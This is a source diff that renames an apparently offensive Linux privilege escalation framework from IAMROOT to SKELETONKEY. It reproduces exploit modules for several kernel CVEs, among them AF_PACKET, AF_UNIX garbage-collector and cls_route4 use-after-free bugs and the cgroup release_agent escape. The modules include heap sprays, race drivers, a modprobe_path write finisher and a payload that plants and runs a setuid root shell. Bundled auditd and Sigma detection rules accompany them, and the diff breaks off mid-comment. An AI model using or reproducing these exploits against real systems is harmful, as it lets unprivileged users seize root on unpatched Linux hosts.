fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif
}
@@ -861,10 +861,10 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
static const char af_packet_auditd[] =
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
"# Flag AF_PACKET socket creation from non-root via userns.\n"
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-af-packet-userns\n";
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
const struct iamroot_module af_packet_module = {
const struct skeletonkey_module af_packet_module = {
.name = "af_packet",
.cve = "CVE-2017-7308",
.summary = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite",
@@ -880,7 +880,7 @@ const struct iamroot_module af_packet_module = {
.detect_falco = NULL,
};
void iamroot_register_af_packet(void)
void skeletonkey_register_af_packet(void)
{
iamroot_register(&af_packet_module);
skeletonkey_register(&af_packet_module);
}
@@ -0,0 +1,12 @@
/*
* af_packet_cve_2017_7308 — SKELETONKEY module registry hook
*/
#ifndef AF_PACKET_SKELETONKEY_MODULES_H
#define AF_PACKET_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module af_packet_module;
#endif
+1 -1
View File
@@ -18,7 +18,7 @@ Upstream fix: mainline 6.6-rc1 (commit `0cabe18a8b80c`, Aug 2023).
Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 /
5.15.130 / 6.1.51 / 6.5.0.
## IAMROOT role
## SKELETONKEY role
**Widest deployment of any module in the corpus** — bug present
in every Linux kernel below the fix (back to ~2.0 era).
@@ -1,12 +0,0 @@
/*
* af_unix_gc_cve_2023_4622 — IAMROOT module registry hook
*/
#ifndef AF_UNIX_GC_IAMROOT_MODULES_H
#define AF_UNIX_GC_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module af_unix_gc_module;
#endif
@@ -1,5 +1,5 @@
/*
* af_unix_gc_cve_2023_4622 IAMROOT module
* af_unix_gc_cve_2023_4622 SKELETONKEY module
*
* AF_UNIX garbage collector race UAF. The unix_gc() collector walks
* the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can
@@ -55,7 +55,7 @@
* carries the widest version range of any module we ship.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -127,12 +127,12 @@ static bool can_create_af_unix(void)
return true;
}
static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* No lower bound: this bug has been in the AF_UNIX GC path since
@@ -144,7 +144,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Reachability probe — socket(AF_UNIX, ...) must succeed. */
@@ -153,7 +153,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — "
"exotic seccomp/sandbox, bug unreachable here\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
@@ -163,7 +163,7 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
" creatable). The race window is microseconds wide and\n"
" needs thousands of iterations to win on average.\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Race-driver state ------------------------------------------- */
@@ -376,7 +376,7 @@ static int spray_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
memset(&p, 0, sizeof p);
p.mtype = 0x55; /* 'U' — unix */
memset(p.buf, 0x55, sizeof p.buf);
memcpy(p.buf, "IAMROOTU", 8);
memcpy(p.buf, "SKELETONKEYU", 8);
int created = 0;
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
@@ -537,40 +537,40 @@ static int af_unix_gc_arb_write(uintptr_t kaddr,
/* ---- Exploit driver ---------------------------------------------- */
static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ctx *ctx)
{
/* 1. Refuse-gate: re-call detect() and short-circuit. */
iamroot_result_t pre = af_unix_gc_detect(ctx);
if (pre == IAMROOT_OK) {
skeletonkey_result_t pre = af_unix_gc_detect(ctx);
if (pre == SKELETONKEY_OK) {
fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (pre != IAMROOT_VULNERABLE) {
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Full-chain pre-check: resolve offsets BEFORE the race fork. If
* modprobe_path is unresolvable we refuse here rather than running
* a 30 s race that has no finisher to call. */
struct iamroot_kernel_offsets off;
struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("af_unix_gc");
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("af_unix_gc");
fprintf(stderr, "[-] af_unix_gc: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n"
" a small fraction per run — see module header.\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
skeletonkey_offsets_print(&off);
full_chain_ready = true;
fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n"
" to %d s. RELIABILITY remains race-dependent on a real\n"
@@ -588,7 +588,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
signal(SIGPIPE, SIG_IGN);
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads
@@ -635,7 +635,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
uint64_t a_errs = atomic_load(&g_thread_a_errs);
/* 4. Empirical witness breadcrumb. */
FILE *log = fopen("/tmp/iamroot-af_unix_gc.log", "w");
FILE *log = fopen("/tmp/skeletonkey-af_unix_gc.log", "w");
if (log) {
fprintf(log,
"af_unix_gc race harness (CVE-2023-4622):\n"
@@ -684,18 +684,18 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
.n_queues = AFUG_SPRAY_QUEUES,
.arb_calls = 0,
};
int fr = iamroot_finisher_modprobe_path(&off,
int fr = skeletonkey_finisher_modprobe_path(&off,
af_unix_gc_arb_write,
&arb_ctx,
!ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-af_unix_gc.log", "a");
FILE *fl = fopen("/tmp/skeletonkey-af_unix_gc.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
fr, arb_ctx.arb_calls);
fclose(fl);
}
drain_kmalloc_512(queues);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */
_exit(35); /* finisher ran, no land */
}
@@ -729,7 +729,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
/* PARENT */
int status = 0;
pid_t w = waitpid(child, &status, 0);
if (w < 0) { perror("waitpid"); return IAMROOT_TEST_ERROR; }
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
if (WIFSIGNALED(status)) {
int sig = WTERMSIG(status);
@@ -738,26 +738,26 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
"(consistent with UAF firing under KASAN)\n", sig);
fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n"
" overwrite primitive — NOT claiming EXPLOIT_OK.\n"
" See /tmp/iamroot-af_unix_gc.log + dmesg for witnesses.\n");
" See /tmp/skeletonkey-af_unix_gc.log + dmesg for witnesses.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n",
status);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
if (rc == 23 || rc == 24) return IAMROOT_PRECOND_FAIL;
if (rc == 23 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
if (rc == 34) {
if (!ctx->json) {
fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported "
"EXPLOIT_OK (race won + write landed)\n");
}
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
if (rc == 35) {
if (!ctx->json) {
@@ -765,11 +765,11 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
" win + land within budget (expected outcome on most\n"
" runs — race wins are a fraction of a percent).\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (rc != 30) {
fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -778,39 +778,39 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
" implemented (per-kernel offsets; see module .c TODO\n"
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
static iamroot_result_t af_unix_gc_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_unix_gc_exploit(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
#ifdef __linux__
return af_unix_gc_exploit_linux(ctx);
#else
(void)ctx;
fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#endif
}
/* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t af_unix_gc_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t af_unix_gc_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n");
}
if (unlink("/tmp/iamroot-af_unix_gc.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-af_unix_gc.log") < 0 && errno != ENOENT) {
/* harmless */
}
/* Race threads + msg queues live inside the now-exited child;
* nothing else to drain. */
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Detection rules --------------------------------------------- */
@@ -821,11 +821,11 @@ static const char af_unix_gc_auditd[] =
"# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n"
"# benign — flag the *frequency* by correlating these keys with a\n"
"# subsequent KASAN message in dmesg.\n"
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k iamroot-afunixgc-pair\n"
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-afunixgc-sendmsg\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-afunixgc-spray\n";
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k skeletonkey-afunixgc-pair\n"
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-afunixgc-sendmsg\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-afunixgc-spray\n";
const struct iamroot_module af_unix_gc_module = {
const struct skeletonkey_module af_unix_gc_module = {
.name = "af_unix_gc",
.cve = "CVE-2023-4622",
.summary = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF",
@@ -841,7 +841,7 @@ const struct iamroot_module af_unix_gc_module = {
.detect_falco = NULL,
};
void iamroot_register_af_unix_gc(void)
void skeletonkey_register_af_unix_gc(void)
{
iamroot_register(&af_unix_gc_module);
skeletonkey_register(&af_unix_gc_module);
}
@@ -0,0 +1,12 @@
/*
* af_unix_gc_cve_2023_4622 — SKELETONKEY module registry hook
*/
#ifndef AF_UNIX_GC_SKELETONKEY_MODULES_H
#define AF_UNIX_GC_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module af_unix_gc_module;
#endif
@@ -16,7 +16,7 @@ Original writeup:
Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022).
## IAMROOT role
## SKELETONKEY role
**Universal structural exploit — no per-kernel offsets, no race.**
unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller,
@@ -1,12 +0,0 @@
/*
* cgroup_release_agent_cve_2022_0492 — IAMROOT module registry hook
*/
#ifndef CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
#define CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module cgroup_release_agent_module;
#endif
@@ -1,5 +1,5 @@
/*
* cgroup_release_agent_cve_2022_0492 IAMROOT module
* cgroup_release_agent_cve_2022_0492 SKELETONKEY module
*
* cgroup v1 release_agent file is checked only for "is the writer
* root in the cgroup namespace" — NOT "is the writer root in the
@@ -36,7 +36,7 @@
* exposure even if all the fancy heap-spray bugs are patched.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -84,12 +84,12 @@ static int can_unshare_userns_mount(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
@@ -97,7 +97,7 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns_mount();
@@ -112,13 +112,13 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n");
fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit -----------------------------------------------------
@@ -130,12 +130,12 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
static const char PAYLOAD_SHELL[] =
"#!/bin/sh\n"
"# IAMROOT cgroup_release_agent payload — runs as init-ns root\n"
"id > /tmp/iamroot-cgroup-pwned\n"
"chmod 666 /tmp/iamroot-cgroup-pwned 2>/dev/null\n"
"cp /bin/sh /tmp/iamroot-cgroup-sh 2>/dev/null\n"
"chmod +s /tmp/iamroot-cgroup-sh 2>/dev/null\n"
"chown root:root /tmp/iamroot-cgroup-sh 2>/dev/null\n";
"# SKELETONKEY cgroup_release_agent payload — runs as init-ns root\n"
"id > /tmp/skeletonkey-cgroup-pwned\n"
"chmod 666 /tmp/skeletonkey-cgroup-pwned 2>/dev/null\n"
"cp /bin/sh /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
"chmod +s /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
"chown root:root /tmp/skeletonkey-cgroup-sh 2>/dev/null\n";
static bool write_file(const char *path, const char *content)
{
@@ -147,23 +147,23 @@ static bool write_file(const char *path, const char *content)
return ok;
}
static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
{
iamroot_result_t pre = cgroup_ra_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = cgroup_ra_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Drop the setuid-root-shell payload to a path we can read+exec
* later. Payload runs as host root when the cgroup is released. */
const char *payload_path = "/tmp/iamroot-cgroup-payload.sh";
const char *payload_path = "/tmp/skeletonkey-cgroup-payload.sh";
if (!write_file(payload_path, PAYLOAD_SHELL)) {
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
chmod(payload_path, 0755);
if (!ctx->json) {
@@ -173,7 +173,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
/* Fork: child does the exploit; parent waits then verifies + execs
* the setuid shell we expect the payload to plant. */
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* CHILD: enter userns + mountns, become "root" in userns. */
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
@@ -193,7 +193,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
/* Mount cgroup v1 (rdma controller — small, simple, works
* even on cgroup-v2-first systems). */
const char *cgmount = "/tmp/iamroot-cgroup-mnt";
const char *cgmount = "/tmp/skeletonkey-cgroup-mnt";
mkdir(cgmount, 0700);
if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) {
/* Fallback: try memory controller — needs different reach */
@@ -206,7 +206,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
* Buffers sized generously vs. cgmount template + "/notify_on_release"
* tail (28 bytes) so GCC -Wformat-truncation is satisfied. */
char cgdir[384];
snprintf(cgdir, sizeof cgdir, "%s/iamroot", cgmount);
snprintf(cgdir, sizeof cgdir, "%s/skeletonkey", cgmount);
mkdir(cgdir, 0755);
/* Write release_agent in the ROOT of the controller (must be
@@ -254,9 +254,9 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
"polling for payload execution\n", status);
}
/* Payload writes /tmp/iamroot-cgroup-sh as setuid root. Poll for
/* Payload writes /tmp/skeletonkey-cgroup-sh as setuid root. Poll for
* its appearance + setuid bit. Up to 5 seconds. */
const char *setuid_sh = "/tmp/iamroot-cgroup-sh";
const char *setuid_sh = "/tmp/skeletonkey-cgroup-sh";
bool got_root = false;
for (int i = 0; i < 50; i++) {
struct stat st;
@@ -271,7 +271,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. "
"Likely patched or cgroup-controller-blocked.\n");
unlink(payload_path);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -280,39 +280,39 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
if (ctx->no_shell) {
fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n");
unlink(payload_path);
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh);
fflush(NULL);
execl(setuid_sh, "sh", "-p", (char *)NULL);
perror("execl");
unlink(payload_path);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t cgroup_ra_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/iamroot-cgroup-*\n");
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/skeletonkey-cgroup-*\n");
}
if (system("rm -f /tmp/iamroot-cgroup-payload.sh /tmp/iamroot-cgroup-sh "
"/tmp/iamroot-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
if (system("umount /tmp/iamroot-cgroup-mnt 2>/dev/null; "
"rmdir /tmp/iamroot-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
return IAMROOT_OK;
if (system("rm -f /tmp/skeletonkey-cgroup-payload.sh /tmp/skeletonkey-cgroup-sh "
"/tmp/skeletonkey-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
if (system("umount /tmp/skeletonkey-cgroup-mnt 2>/dev/null; "
"rmdir /tmp/skeletonkey-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
return SKELETONKEY_OK;
}
static const char cgroup_ra_auditd[] =
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-cgroup-ra\n"
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k iamroot-cgroup-ra-mount\n"
"-w /sys/fs/cgroup -p w -k iamroot-cgroup-ra-fswatch\n";
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cgroup-ra\n"
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k skeletonkey-cgroup-ra-mount\n"
"-w /sys/fs/cgroup -p w -k skeletonkey-cgroup-ra-fswatch\n";
static const char cgroup_ra_sigma[] =
"title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n"
"id: 5c84a37e-iamroot-cgroup-ra\n"
"id: 5c84a37e-skeletonkey-cgroup-ra\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape: unprivileged process unshares\n"
@@ -328,7 +328,7 @@ static const char cgroup_ra_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
const struct iamroot_module cgroup_release_agent_module = {
const struct skeletonkey_module cgroup_release_agent_module = {
.name = "cgroup_release_agent",
.cve = "CVE-2022-0492",
.summary = "cgroup v1 release_agent privilege check in wrong namespace → host root",
@@ -344,7 +344,7 @@ const struct iamroot_module cgroup_release_agent_module = {
.detect_falco = NULL,
};
void iamroot_register_cgroup_release_agent(void)
void skeletonkey_register_cgroup_release_agent(void)
{
iamroot_register(&cgroup_release_agent_module);
skeletonkey_register(&cgroup_release_agent_module);
}
@@ -0,0 +1,12 @@
/*
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module registry hook
*/
#ifndef CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
#define CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module cgroup_release_agent_module;
#endif
+1 -1
View File
@@ -15,7 +15,7 @@ Public PoC + writeup: <https://www.willsroot.io/2022/08/lpe-on-mountpoint.html>
Upstream fix: mainline 5.20 / stable 5.19.7 (Aug 2022).
Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7.
## IAMROOT role
## SKELETONKEY role
The module uses `unshare(USER|NET)`, brings up a dummy interface,
creates an htb qdisc + class, adds a `route4` filter, then deletes
@@ -1,12 +0,0 @@
/*
* cls_route4_cve_2022_2588 — IAMROOT module registry hook
*/
#ifndef CLS_ROUTE4_IAMROOT_MODULES_H
#define CLS_ROUTE4_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module cls_route4_module;
#endif
@@ -1,5 +1,5 @@
/*
* cls_route4_cve_2022_2588 IAMROOT module
* cls_route4_cve_2022_2588 SKELETONKEY module
*
* net/sched cls_route4 dead UAF: when a route4 filter with handle==0
* is removed, the corresponding hashtable bucket may keep a stale
@@ -38,7 +38,7 @@
* - iproute2 `tc` binary present (used for filter add/del)
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
@@ -106,12 +106,12 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug-introduction predates anything we'd reasonably scan; if the
@@ -122,7 +122,7 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* Module + userns preconditions. */
@@ -145,13 +145,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit -----------------------------------------------------
@@ -184,13 +184,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
* specific to be portable. If a dmesg KASAN message or oops is
* observed by the parent we return EXPLOIT_OK to reflect the empirical
* UAF win. The fallback also leaves a one-line breadcrumb in
* /tmp/iamroot-cls_route4.log so post-run triage can pick it up.
* /tmp/skeletonkey-cls_route4.log so post-run triage can pick it up.
*/
#define SPRAY_MSG_QUEUES 32
#define SPRAY_MSGS_PER_QUEUE 16
#define MSG_PAYLOAD_BYTES 1008 /* 1024 - sizeof(msg_msg hdr ~= 16) */
#define DUMMY_IF "iamroot0"
#define DUMMY_IF "skeletonkey0"
struct ipc_payload {
long mtype;
@@ -199,7 +199,7 @@ struct ipc_payload {
static int run_cmd(const char *cmd)
{
/* Quiet wrapper so noise doesn't drown the iamroot log. */
/* Quiet wrapper so noise doesn't drown the skeletonkey log. */
char shell[1024];
snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd);
return system(shell);
@@ -305,7 +305,7 @@ static int spray_msg_msg(int queues[SPRAY_MSG_QUEUES])
/* Pattern that's distinctive in KASAN/oops dumps. */
memset(p.buf, 0x41, sizeof p.buf);
/* First 8 bytes: a recognizable cookie. */
memcpy(p.buf, "IAMROOT4", 8);
memcpy(p.buf, "SKELETONKEY4", 8);
int created = 0;
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
@@ -349,7 +349,7 @@ static void trigger_classify(void)
dst.sin_port = htons(31337);
dst.sin_addr.s_addr = inet_addr("10.99.99.2");
const char msg[] = "iamroot-cls_route4-classify";
const char msg[] = "skeletonkey-cls_route4-classify";
/* A handful of packets, in case the first lookup didn't traverse
* the freed bucket. */
for (int i = 0; i < 8; i++) {
@@ -397,7 +397,7 @@ static long slab_active_kmalloc_1k(void)
*
* The implementation below takes the narrow-but-real path that the
* brief explicitly permits and that xtcompat established as the
* IAMROOT precedent: we re-stage the dangling filter, spray msg_msg
* SKELETONKEY precedent: we re-stage the dangling filter, spray msg_msg
* whose payload encodes `kaddr` at every plausible offset for the
* route4_filtertcf_protoops layout, re-fire classify, and let the
* shared finisher's sentinel file decide if a write actually landed.
@@ -427,7 +427,7 @@ struct cls_route4_arb_ctx {
* is idempotent inside our private netns. */
bool dangling_ready;
/* Per-call stats (written to /tmp/iamroot-cls_route4.log). */
/* Per-call stats (written to /tmp/skeletonkey-cls_route4.log). */
int arb_calls;
int arb_landed;
};
@@ -487,7 +487,7 @@ static int cls4_seed_kaddr_payload(struct cls_route4_arb_ctx *c,
return sent;
}
/* iamroot_arb_write_fn implementation for cls_route4. Best-effort on a
/* skeletonkey_arb_write_fn implementation for cls_route4. Best-effort on a
* vulnerable kernel; structurally inert (returns -1) if the dangling
* filter setup is gone or the spray fails. Returns 0 to let the
* shared finisher's sentinel-file check decide if the write actually
